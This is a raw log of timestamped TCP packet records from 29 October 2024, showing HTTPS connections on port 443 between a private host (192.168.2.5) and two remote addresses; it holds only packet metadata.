Oct 29, 2024 18:42:50.661381960 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.661401987 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.661952019 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.661957026 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.717225075 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.717428923 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.717490911 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.717556000 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.717566967 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.717576981 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.717581987 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.720666885 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.720710039 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.720798969 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.720968962 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.720983028 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.800575972 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.800625086 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.800698042 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.800714970 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.800761938 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.800805092 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.801007032 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.801023960 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.801033974 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.801039934 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.804059029 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.804100037 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.804194927 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.804349899 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.804366112 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.870920897 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.871582985 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.871614933 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:50.872193098 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:50.872199059 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.002217054 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.002298117 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.002342939 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.002367020 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.002418995 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.008126974 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.008158922 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.008191109 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.008198977 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.012073994 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.012108088 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.012178898 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.012345076 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.012360096 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.197945118 CET	443	49898	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.198482990 CET	49898	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.198508024 CET	443	49898	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.199165106 CET	49898	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.199171066 CET	443	49898	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.275475979 CET	443	49899	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.276031017 CET	49899	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.276046991 CET	443	49899	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.276638031 CET	49899	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.276643991 CET	443	49899	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.330729008 CET	443	49898	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.330784082 CET	443	49898	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.330873966 CET	49898	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.330899954 CET	443	49898	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.330948114 CET	49898	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.331190109 CET	49898	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.331213951 CET	443	49898	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.331228018 CET	49898	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.331235886 CET	443	49898	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.334189892 CET	49903	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.334240913 CET	443	49903	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.334317923 CET	49903	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.334522009 CET	49903	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.334541082 CET	443	49903	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.410698891 CET	443	49899	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.410810947 CET	443	49899	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.410953045 CET	49899	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.411163092 CET	49899	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.411179066 CET	443	49899	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.411187887 CET	49899	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.411194086 CET	443	49899	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.414635897 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.414659023 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.414738894 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.414977074 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.414992094 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.456036091 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.457293034 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.457318068 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.458082914 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.458091974 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.585851908 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.588241100 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.588347912 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.588401079 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.588464022 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.588536978 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.588557959 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.588570118 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.588576078 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.588715076 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.588754892 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.589144945 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.589157104 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.590854883 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.590898037 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.590977907 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.591109037 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.591125965 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.613312960 CET	49703	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:51.613382101 CET	49703	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:51.613799095 CET	49906	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:51.613840103 CET	443	49906	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:51.613940001 CET	49906	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:51.618710995 CET	443	49703	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:51.618741989 CET	443	49703	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:51.621206999 CET	49906	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:51.621232986 CET	443	49906	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:51.719212055 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.719310045 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.719536066 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.719536066 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.719607115 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.719626904 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.721898079 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.721940994 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.722003937 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.722161055 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.722173929 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.768690109 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.770303011 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.770328045 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.771084070 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.771090031 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.901952982 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.901979923 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.902031898 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.902043104 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.902101040 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.902657986 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.902683020 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.902693987 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.902699947 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.905616045 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.905653000 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:51.905786991 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.911892891 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:51.911906004 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.074084997 CET	443	49903	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.074518919 CET	49903	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.074542999 CET	443	49903	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.074992895 CET	49903	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.074997902 CET	443	49903	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.185201883 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.185743093 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.185780048 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.186213970 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.186219931 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.208542109 CET	443	49903	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.208571911 CET	443	49903	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.208631039 CET	49903	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.208641052 CET	443	49903	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.208690882 CET	49903	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.208826065 CET	49903	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.208853006 CET	443	49903	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.208869934 CET	49903	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.208882093 CET	443	49903	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.211577892 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.211616993 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.211726904 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.211980104 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.211992025 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.309726954 CET	443	49906	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:52.309833050 CET	49906	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:52.322838068 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.322865963 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.322925091 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.322981119 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.323153973 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.323168039 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.323179960 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.323185921 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.325665951 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.325716972 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.325931072 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.326087952 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.326107025 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.332593918 CET	49906	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:52.332617998 CET	443	49906	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:52.332936049 CET	443	49906	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:52.333050966 CET	49906	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:52.333476067 CET	49906	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:52.333501101 CET	443	49906	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:52.333635092 CET	49906	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:52.333642006 CET	443	49906	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:52.337465048 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.337862968 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.337877035 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.338260889 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.338265896 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.462169886 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.462775946 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.462791920 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.463298082 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.463305950 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.471016884 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.471261024 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.471329927 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.471376896 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.471400023 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.471417904 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.471426964 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.473654985 CET	49911	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.473690033 CET	443	49911	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.473757982 CET	49911	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.473922968 CET	49911	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.473936081 CET	443	49911	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.540968895 CET	443	49906	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:52.541024923 CET	49906	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:52.541336060 CET	443	49906	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:52.541376114 CET	443	49906	23.1.237.91	192.168.2.5
Oct 29, 2024 18:42:52.541424036 CET	49906	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:52.593328953 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.593529940 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.593597889 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.593657017 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.593674898 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.593687057 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.593692064 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.596029997 CET	49912	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.596066952 CET	443	49912	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.596457958 CET	49912	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.596457958 CET	49912	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.596488953 CET	443	49912	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.644642115 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.645157099 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.645190001 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.645713091 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.645718098 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.777302980 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.777365923 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.777574062 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.777605057 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.777616978 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.777630091 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.777633905 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.780786991 CET	49913	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.780836105 CET	443	49913	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.780920982 CET	49913	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.781121016 CET	49913	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.781136990 CET	443	49913	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.935269117 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.935761929 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.935780048 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:52.936229944 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:52.936235905 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.059637070 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.065541029 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.065567017 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.065649033 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.065665960 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.065716982 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.068289995 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.068309069 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.068309069 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.068309069 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.068330050 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.068341017 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.068779945 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.068788052 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.071023941 CET	49914	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.071067095 CET	443	49914	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.071146965 CET	49914	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.071319103 CET	49914	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.071331978 CET	443	49914	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.192579985 CET	443	49911	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.193037987 CET	49911	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.193052053 CET	443	49911	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.193500996 CET	49911	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.193506002 CET	443	49911	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.194209099 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.194412947 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.194590092 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.194621086 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.194636106 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.194645882 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.194652081 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.197443008 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.197488070 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.197607994 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.197747946 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.197766066 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.322104931 CET	443	49911	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.322129011 CET	443	49911	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.322164059 CET	443	49911	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.322186947 CET	49911	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.322256088 CET	49911	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.322390079 CET	49911	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.322405100 CET	443	49911	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.322416067 CET	49911	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.322421074 CET	443	49911	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.325040102 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.325078011 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.325149059 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.325319052 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.325330019 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.330885887 CET	443	49912	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.331250906 CET	49912	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.331267118 CET	443	49912	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.331697941 CET	49912	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.331703901 CET	443	49912	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.462114096 CET	443	49912	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.462272882 CET	443	49912	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.463139057 CET	49912	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.463165998 CET	49912	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.463184118 CET	443	49912	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.463218927 CET	49912	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.463224888 CET	443	49912	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.465821028 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.465864897 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.465955973 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.466088057 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.466094971 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.506671906 CET	443	49913	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.507138014 CET	49913	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.507169962 CET	443	49913	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.507606030 CET	49913	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.507612944 CET	443	49913	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.634598017 CET	443	49913	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.634675026 CET	443	49913	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.634708881 CET	443	49913	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.634799957 CET	49913	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.635428905 CET	49913	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.635469913 CET	443	49913	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.635499954 CET	49913	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.635516882 CET	443	49913	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.638576984 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.638607025 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.638704062 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.638864994 CET	49918	443	192.168.2.5	13.107.246.45
